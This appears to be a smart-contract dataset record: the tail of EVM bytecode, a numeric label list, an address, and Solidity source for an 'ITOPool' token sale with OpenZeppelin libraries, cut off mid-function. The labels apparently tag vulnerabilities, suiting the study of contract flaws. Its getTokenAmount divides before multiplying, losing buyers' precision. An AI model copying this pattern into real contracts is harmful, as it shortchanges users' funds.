565b600061079e83836016612f7a565b4690565b600082821c623fffff16621fffff811361297e5780612062565b623fffff19179392505050565b1c637fffffff1690565b1c60019081161490565b1c6001600160401b031690565b604080516002808252606080830184529283929190602083019080368337019050509050826129dc579050611f1d565b612a4f877f000000000000000000000000000000000000000000000000000000000000000081518110612a0b57fe5b6020026020010151877f000000000000000000000000000000000000000000000000000000000000000081518110612a3f57fe5b6020026020010151878787612f91565b817f000000000000000000000000000000000000000000000000000000000000000081518110612a7b57fe5b60209081029190910101529695505050505050565b612ac683600081518110612aa057fe5b602002602001015183600081518110612ab557fe5b60200260200101518363ffffffff16565b83600081518110612ad357fe5b602002602001018181525050612b0483600181518110612aef57fe5b602002602001015183600181518110612ab557fe5b83600181518110612b1157fe5b602002602001018181525050505050565b600060606000612b3184612eba565b90506000816002811115612b4157fe5b1415612b5c57612b52868686613009565b9250925050612b87565b6001816002811115612b6a57fe5b1415612b7a57612b5286856130b9565b612b528686866130eb565b505b935093915050565b6000612b9e82151560046113cc565b818381612ba757fe5b049392505050565b60006105d18260ea612964565b60006105d18260b5613157565b60006105d182609f612964565b60006105d182606a613157565b60006105d1826054612964565b60006105d182601f613157565b600060606000612c0c84612eba565b90506001816002811115612c1c57fe5b1415612c2d57612b5286868661318a565b6002816002811115612c3b57fe5b1415612c4c57612b528686866131e0565b612b8561013661237d565b6000612c6682151560046113cc565b82612c73575060006105d1565b816001840381612c7f57fe5b0460010190506105d1565b600080612caa612c9a8486611f77565b612ca48789611f77565b90611f77565b9050612cb581612901565b9695505050505050565b600080612ccf61168f8587611f77565b92909203949350505050565b600080612cf785858542612cee8b611a4b565b93929190613263565b9050607842889003101580612d0c5786612d15565b612d1587612464565b600081815260076020526040902092909255509695505050505050565b600061079e8383604b6132b5565b600061079e8383602c6132c5565b6000612d70612d6587670429d069189e0000612e8e565b8311156101306113cc565b6000612d7c87846111c6565b90506000612d8a8883611f77565b90506000612d988887611ae4565b90506000612da683836132d7565b9050612dbb612db482611f51565b8990612e8e565b9a9950505050505050505050565b6000612deb612de085670429d069189e0000612e8e565b8311156101316113cc565b6000612e01612dfa86856111f4565b8690611f77565b90506000612e0f8588611f77565b90506000612e1d83836132d7565b90506000612e3382670de0b6b3a76400006111f4565b9050612dbb8a82611ec3565b600080612e4c8484613303565b90506000612e66612e5f83612710611ec3565b60016111c6565b905080821015612e7b576000925050506105d1565b612e8582826111f4565b925050506105d1565b6000828202612ea8841580611add575083858381611ada57fe5b670de0b6b3a764000090049392505050565b6000818060200190518101906105d19190614621565b60608180602001905181019061079e91906146e6565b6000612ef8631c74c91760e11b610b1b565b909114919050565b60006104008383015b069392505050565b60006105d1826001613404565b6000612f2e6000831360646113cc565b670c7d713b49da000082138015612f4c5750670f43fc2c04ee000082125b15612f6a57670de0b6b3a7640000612f6383613413565b8161257e57fe5b612f7382613531565b9050610a56565b623fffff828116821b90821b198416179392505050565b6000838311612fa257506000611f1d565b6000612fae8585611f77565b90506000612fc4670de0b6b3a764000088611ae4565b9050612fd8826709b6e64a8ec600006138d0565b91506000612fe683836132d7565b90506000612ffd612ff683611f51565b8b90612e8e565b9050612dbb8187612e8e565b60006060613015611606565b600080613021856138e7565b915091506130336002821060646113cc565b604080516002808252606080830184529260208301908036833701905050905061309488838151811061306257fe5b602002602001015188848151811061307657fe5b6020026020010151856130876105eb565b61308f610885565b613909565b8183815181106130a057fe5b6020908102919091010152919791965090945050505050565b6000606060006130c8846139c0565b905060606130de86836130d96105eb565b6139d6565b9196919550909350505050565b600060606130f7611606565b6060600061310485613a87565b91509150613114825160026117e7565b61311d82611b35565b600061313a88888561312d6105eb565b613135610885565b613a9f565b905061314a8282111560cf6113cc565b9791965090945050505050565b600082821c661fffffffffffff16660fffffffffffff81136131795780612062565b661fffffffffffff19179392505050565b6000606080600061319a85613a87565b915091506131aa825160026117e7565b6131b382611b35565b60006131d08888856131c36105eb565b6131cb610885565b613cca565b905061314a8282101560d06113cc565b600060606000806131f0856138e7565b915091506132026002821060646113cc565b604080516002808252606080830184529260208301908036833701905050905061309488838151811061323157fe5b602002602001015188848151811061324557fe5b6020026020010151856132566105eb565b61325e610885565b613eda565b60008061326f876123d0565b83039050600081870261328189612bbc565b01905060008287026132928a612bd6565b01905060008387026132a38b612bf0565b019050612dbb89848a858b868c613f7c565b6103ff811b1992909216911b1790565b637fffffff811b1992909216911b1790565b6000806132e48484613303565b905060006132f7612e5f83612710611ec3565b9050611f1d82826111c6565b6000816133195750670de0b6b3a76400006105d1565b82613326575060006105d1565b613337600160ff1b841060066113cc565b8261335d770bce5086492111aea88f4bb1ca6bcf584181ea8059f76532841060076113cc565b826000670c7d713b49da00008313801561337e5750670f43fc2c04ee000083125b156133b557600061338e84613413565b9050670de0b6b3a764000080820784020583670de0b6b3a7640000830502019150506133c3565b816133bf84613531565b0290505b670de0b6b3a764000090056133fb680238fd42c5cf03ffff1982128015906133f4575068070c1cc73b00c800008213155b60086113cc565b612cb581612524565b60006104008284038101612f09565b670de0b6b3a7640000026000806a0c097ce7bc90715b34b9f160241b808401906ec097ce7bc90715b34b9f0fffffffff198501028161344e57fe5b05905060006a0c097ce7bc90715b34b9f160241b82800205905081806a0c097ce7bc90715b34b9f160241b81840205915060038205016a0c097ce7bc90715b34b9f160241b82840205915060058205016a0c097ce7bc90715b34b9f160241b82840205915060078205016a0c097ce7bc90715b34b9f160241b82840205915060098205016a0c097ce7bc90715b34b9f160241b828402059150600b8205016a0c097ce7bc90715b34b9f160241b828402059150600d8205016a0c097ce7bc90715b34b9f160241b828402059150600f826002919005919091010295945050505050565b6000670de0b6b3a764000082121561356d57613563826a0c097ce7bc90715b34b9f160241b8161355d57fe5b05613531565b6000039050610a56565b60007e1600ef3172e58d2e933ec884fde10064c63b5372d805e203c000000000000083126135be57770195e54c5dd42177f53a27172fa9ec630262827000000000830592506806f05b59d3b2000000015b73011798004d755d3c8bc8e03204cf44619e00000083126135f6576b1425982cf597cd205cef7380830592506803782dace9d9000000015b606492830292026e01855144814a7ff805980ff0084000831261363e576e01855144814a7ff805980ff008400068056bc75e2d63100000840205925068ad78ebc5ac62000000015b6b02df0ab5a80a22c61ab5a7008312613679576b02df0ab5a80a22c61ab5a70068056bc75e2d6310000084020592506856bc75e2d631000000015b693f1fce3da636ea5cf85083126136b057693f1fce3da636ea5cf85068056bc75e2d631000008402059250682b5e3af16b18800000015b690127fa27722cc06cc5e283126136e757690127fa27722cc06cc5e268056bc75e2d6310000084020592506815af1d78b58c400000015b68280e60114edb805d03831261371c5768280e60114edb805d0368056bc75e2d631000008402059250680ad78ebc5ac6200000015b680ebc5fb41746121110831261374757680ebc5fb4174612111068056bc75e2d631000009384020592015b6808f00f760a4b2db55d831261377c576808f00f760a4b2db55d68056bc75e2d6310000084020592506802b5e3af16b1880000015b6806f5f177578893793783126137b1576806f5f177578893793768056bc75e2d63100000840205925068015af1d78b58c40000015b6806248f33704b28660383126137e5576806248f33704b28660368056bc75e2d63100000840205925067ad78ebc5ac620000015b6805c548670b9510e7ac8312613819576805c548670b9510e7ac68056bc75e2d6310000084020592506756bc75e2d6310000015b600068056bc75e2d63100000840168056bc75e2d63100000808603028161383c57fe5b059050600068056bc75e2d63100000828002059050818068056bc75e2d63100000818402059150600382050168056bc75e2d63100000828402059150600582050168056bc75e2d63100000828402059150600782050168056bc75e2d63100000828402059150600982050168056bc75e2d63100000828402059150600b820501600202606485820105979650505050505050565b6000818310156138e0578161079e565b5090919050565b600080828060200190518101906138fe91906146b0565b909590945092505050565b60008061391a84612ca481886111f4565b90506139336709b6e64a8ec600008210156101326113cc565b600061395161394a670de0b6b3a764000089611ae4565b83906132d7565b9050600061396861396183611f51565b8a90612e8e565b9050600061397589611f51565b905060006139838383611ec3565b9050600061399184836111f4565b90506139b06139a96139a28a611f51565b8490612e8e565b82906111c6565b9c9b505050505050505050505050565b60008180602001905181019061079e9190614683565b606060006139e48484611ae4565b9050606085516001600160401b03811180156139ff57600080fd5b50604051908082528060200260200182016040528015613a29578160200160208202803683370190505b50905060005b8651811015613a7d57613a5e83888381518110613a4857fe5b6020026020010151612e8e90919063ffffffff16565b828281518110613a6a57fe5b6020908102919091010152600101613a2f565b5095945050505050565b60606000828060200190518101906138fe919061463d565b6000606084516001600160401b0381118015613aba57600080fd5b50604051908082528060200260200182016040528015613ae4578160200160208202803683370190505b5090506000805b8851811015613ba957613b44898281518110613b0357fe5b6020026020010151612ca4898481518110613b1a57fe5b60200260200101518c8581518110613b2e57fe5b60200260200101516111f490919063ffffffff16565b838281518110613b5057fe5b602002602001018181525050613b9f613b98898381518110613b6e57fe5b6020026020010151858481518110613b8257fe5b6020026020010151611ec390919063ffffffff16565b83906111c6565b9150600101613aeb565b50670de0b6b3a764000060005b8951811015613ca9576000848281518110613bcd57fe5b6020026020010151841115613c2b576000613bf6613bea86611f51565b8d8581518110613a4857fe5b90506000613c0a828c8681518110613b2e57fe5b9050613c22613b98613c1b8b611f51565b8390611f77565b92505050613c42565b888281518110613c3757fe5b602002602001015190505b6000613c6b8c8481518110613c5357fe5b6020026020010151610985848f8781518110613b2e57fe5b9050613c9d613c968c8581518110613c7f57fe5b602002602001015183612e3f90919063ffffffff16565b8590612e8e565b93505050600101613bb6565b50613cbd613cb682611f51565b8790611ec3565b9998505050505050505050565b6000606084516001600160401b0381118015613ce557600080fd5b50604051908082528060200260200182016040528015613d0f578160200160208202803683370190505b5090506000805b8851811015613db757613d6f898281518110613d2e57fe5b6020026020010151610985898481518110613d4557fe5b60200260200101518c8581518110613d5957fe5b60200260200101516111c690919063ffffffff16565b838281518110613d7b57fe5b602002602001018181525050613dad613b98898381518110613d9957fe5b6020026020010151858481518110613a4857fe5b9150600101613d16565b50670de0b6b3a764000060005b8951811015613e9857600083858381518110613ddc57fe5b60200260200101511115613e38576000613e01613bea86670de0b6b3a76400006111f4565b90506000613e15828c8681518110613b2e57fe5b9050613e2f613b98612129670de0b6b3a76400008c6111f4565b92505050613e4f565b888281518110613e4457fe5b602002602001015190505b6000613e788c8481518110613e6057fe5b6020026020010151610985848f8781518110613d5957fe5b9050613e8c613c968c8581518110613c7f57fe5b93505050600101613dc4565b50670de0b6b3a76400008110613ece57613ec4613ebd82670de0b6b3a76400006111f4565b8790612e8e565b9350505050611f1d565b60009350505050611f1d565b600080613eeb84612ca481886111c6565b9050613f046729a2241af62c00008211156101336113cc565b6000613f1b61394a670de0b6b3a764000089611f77565b90506000613f3b613f3483670de0b6b3a76400006111f4565b8a90611ec3565b90506000613f4889611f51565b90506000613f568383611ec3565b90506000613f6484836111f4565b90506139b06139a9613f758a611f51565b8490611f77565b6000613f888282613fdc565b613f9384601f613fe0565b613f9e866054613ff1565b613fa988606a613fe0565b613fb48a609f613ff1565b613fbf8c60b5613fe0565b613fca8e60ea613ff1565b17171717171798975050505050505050565b1b90565b661fffffffffffff91909116901b90565b623fffff91909116901b90565b6040805160608101909152806000815260200160008152602001600081525090565b604080518082019091526000808252602082015290565b80356105d181614b52565b600082601f830112614052578081fd5b815161406561406082614b33565b614b0d565b81815291506020808301908481018184028601820187101561408657600080fd5b60005b848110156140a557815184529282019290820190600101614089565b505050505092915050565b600082601f8301126140c0578081fd5b81356001600160401b038111156140d5578182fd5b6140e8601f8201601f1916602001614b0d565b91508082528360208285010111156140ff57600080fd5b8060208401602084013760009082016020015292915050565b8035600281106105d157600080fd5b80356105d181614b75565b600060208284031215614143578081fd5b813561079e81614b52565b60008060408385031215614160578081fd5b823561416b81614b52565b9150602083013561417b81614b52565b809150509250929050565b60008060006060848603121561419a578081fd5b83356141a581614b52565b925060208401356141b581614b52565b929592945050506040919091013590565b600080600080600080600060e0888a0312156141e0578485fd5b87356141eb81614b52565b965060208801356141fb81614b52565b95506040880135945060608801359350608088013560ff8116811461421e578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561424d578182fd5b823561425881614b52565b946020939093013593505050565b60008060006060848603121561427a578081fd5b83516001600160401b0380821115614290578283fd5b818601915086601f8301126142a3578283fd5b81516142b161406082614b33565b80828252602080830192508086018b8283870289010111156142d1578788fd5b8796505b848710156142fc5780516142e881614b52565b8452600196909601959281019281016142d5565b508901519097509350505080821115614313578283fd5b5061432086828701614042565b925050604084015190509250925092565b60006020808385031215614343578182fd5b82356001600160401b03811115614358578283fd5b8301601f81018513614368578283fd5b803561437661406082614b33565b818152838101908385016040808502860187018a1015614394578788fd5b8795505b848610156143e15780828b0312156143ae578788fd5b6143b781614b0d565b6143c18b84614127565b815282880135888201528452600195909501949286019290810190614398565b509098975050505050505050565b60006020808385031215614401578182fd5b82356001600160401b03811115614416578283fd5b8301601f81018513614426578283fd5b803561443461406082614b33565b818152838101908385016060808502860187018a1015614452578788fd5b8795505b848610156143e15780828b03121561446c578788fd5b61447581614b0d565b61447f8b84614127565b81528288013588820152604080840135908201528452600195909501949286019290810190614456565b6000602082840312156144ba578081fd5b813561079e81614b67565b6000602082840312156144d6578081fd5b815161079e81614b67565b600080600080600080600060e0888a0312156144fb578081fd5b8735965060208089013561450e81614b52565b9650604089013561451e81614b52565b955060608901356001600160401b0380821115614539578384fd5b818b0191508b601f83011261454c578384fd5b813561455a61406082614b33565b8082825285820191508585018f878886028801011115614578578788fd5b8795505b8386101561459a57803583526001959095019491860191860161457c565b509850505060808b0135955060a08b0135945060c08b01359250808311156145c0578384fd5b50506145ce8a828b016140b0565b91505092959891949750929550565b6000602082840312156145ee578081fd5b81356001600160e01b03198116811461079e578182fd5b600060208284031215614616578081fd5b815161079e81614b52565b600060208284031215614632578081fd5b815161079e81614b75565b600080600060608486031215614651578081fd5b835161465c81614b75565b60208501519093506001600160401b03811115614677578182fd5b61432086828701614042565b60008060408385031215614695578182fd5b82516146a081614b75565b6020939093015192949293505050565b6000806000606084860312156146c4578081fd5b83516146cf81614b75565b602085015160409095015190969495509392505050565b600080604083850312156146f8578182fd5b825161470381614b75565b60208401519092506001600160401b0381111561471e578182fd5b61472a85828601614042565b9150509250929050565b600060208284031215614745578081fd5b813561079e81614b75565b600080600060608486031215614764578081fd5b83356001600160401b038082111561477a578283fd5b8186019150610120808389031215614790578384fd5b61479981614b0d565b90506147a58884614118565b81526147b48860208501614037565b60208201526147c68860408501614037565b6040820152606083013560608201526080830135608082015260a083013560a08201526147f68860c08501614037565b60c08201526148088860e08501614037565b60e08201526101008084013583811115614820578586fd5b61482c8a8287016140b0565b9183019190915250976020870135975060409096013595945050505050565b60006020828403121561485c578081fd5b5035919050565b6000815180845260208085019450808401835b8381101561489257815187529582019590820190600101614876565b509495945050505050565b9182526001600160e01b031916602082015260240190565b6000828483379101908152919050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b8181101561492c57835183529284019291840191600101614910565b50909695505050505050565b60006020825261079e6020830184614863565b60006040825261495e6040830185614863565b8281036020840152611f1d8185614863565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b9283526001600160a01b03918216602084015216604082015260600190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b968752602087019590955260408601939093526060850191909152608084015260a083015260c082015260e00190565b9586526020860194909452604085019290925260608401521515608083015260a082015260c00190565b6000602080835283518082850152825b81811015614abf57858101830151858201604001528201614aa3565b81811115614ad05783604083870101525b50601f01601f1916929092016040019392505050565b6000838252604060208301526120626040830184614863565b60ff91909116815260200190565b6040518181016001600160401b0381118282101715614b2b57600080fd5b604052919050565b60006001600160401b03821115614b48578081fd5b5060209081020190565b6001600160a01b03811681146105e857600080fd5b80151581146105e857600080fd5b600381106105e857600080fdfea26469706673582212201dbf8d364d926088a19c5f3f5d0ca0ab72cf3eda8f3f78dda45ab2619de4b6d664736f6c63430007010033
[ 4, 7, 9, 12, 32 ]
0xf3a62ffacab9b90f176d308faa97ce1b2724f44a
pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ITOPool is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; uint256 public tokenPrice; ERC20 public rewardToken; uint256 public decimals; uint256 public startTimestamp; uint256 public finishTimestamp; uint256 public startClaimTimestamp; uint256 public minEthPayment; uint256 public maxEthPayment; uint256 public maxDistributedTokenAmount; uint256 public tokensForDistribution; uint256 public distributedTokens; struct UserInfo { uint debt; uint total; uint totalInvestedETH; } mapping(address => UserInfo) public userInfo; event TokensDebt( address indexed holder, uint256 ethAmount, uint256 tokenAmount ); event TokensWithdrawn(address indexed holder, uint256 amount); constructor( uint256 _tokenPrice, ERC20 _rewardToken, uint256 _startTimestamp, uint256 _finishTimestamp, uint256 _startClaimTimestamp, uint256 _minEthPayment, uint256 _maxEthPayment, uint256 _maxDistributedTokenAmount ) public { tokenPrice = _tokenPrice; rewardToken = _rewardToken; decimals = rewardToken.decimals(); require( _startTimestamp < _finishTimestamp, "Start timestamp must be less than finish timestamp" ); require( _finishTimestamp > now, "Finish timestamp must be more than current block" ); startTimestamp = _startTimestamp; finishTimestamp = _finishTimestamp; startClaimTimestamp = _startClaimTimestamp; minEthPayment = _minEthPayment; maxEthPayment = _maxEthPayment; maxDistributedTokenAmount = _maxDistributedTokenAmount; } function pay() payable external { require(msg.value >= minEthPayment, "Less then min amount"); require(msg.value <= maxEthPayment, "More then max amount"); require(now >= startTimestamp, "Not started"); require(now < finishTimestamp, "Ended"); uint256 tokenAmount = getTokenAmount(msg.value); require(tokensForDistribution.add(tokenAmount) <= maxDistributedTokenAmount, "Overfilled"); UserInfo storage user = userInfo[msg.sender]; require(user.totalInvestedETH.add(msg.value) <= maxEthPayment, "More then max amount"); tokensForDistribution = tokensForDistribution.add(tokenAmount); user.totalInvestedETH = user.totalInvestedETH.add(msg.value); user.total = user.total.add(tokenAmount); user.debt = user.debt.add(tokenAmount); emit TokensDebt(msg.sender, msg.value, tokenAmount); } function getTokenAmount(uint256 ethAmount) internal view returns (uint256) { return ethAmount.div(tokenPrice).mul(10**decimals); } /// @dev Allows to claim tokens for the specific user. /// @param _user Token receiver. function claimFor(address _user) external { proccessClaim(_user); } /// @dev Allows to claim tokens for themselves. function claim() external { proccessClaim(msg.sender); } /// @dev Proccess the claim. /// @param _receiver Token receiver. function proccessClaim( address _receiver ) internal nonReentrant{ require(now > startClaimTimestamp, "Distribution not started"); UserInfo storage user = userInfo[_receiver]; uint256 _amount = user.debt; if (_amount > 0) { user.debt = 0; distributedTokens = distributedTokens.add(_amount); rewardToken.safeTransfer(_receiver, _amount); emit TokensWithdrawn(_receiver,_amount); } } function withdrawETH(uint256 amount) external onlyOwner{ // This forwards all available gas. Be sure to check the return value! (bool success, ) = msg.sender.call.value(amount)(""); require(success, "Transfer failed."); } function withdrawNotSoldTokens() external onlyOwner returns(bool success) { require(now > finishTimestamp, "Withdraw allowed after stop accept ETH"); uint256 balance = rewardToken.balanceOf(address(this)); rewardToken.safeTransfer(msg.sender, balance.add(distributedTokens).sub(tokensForDistribution)); return true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = 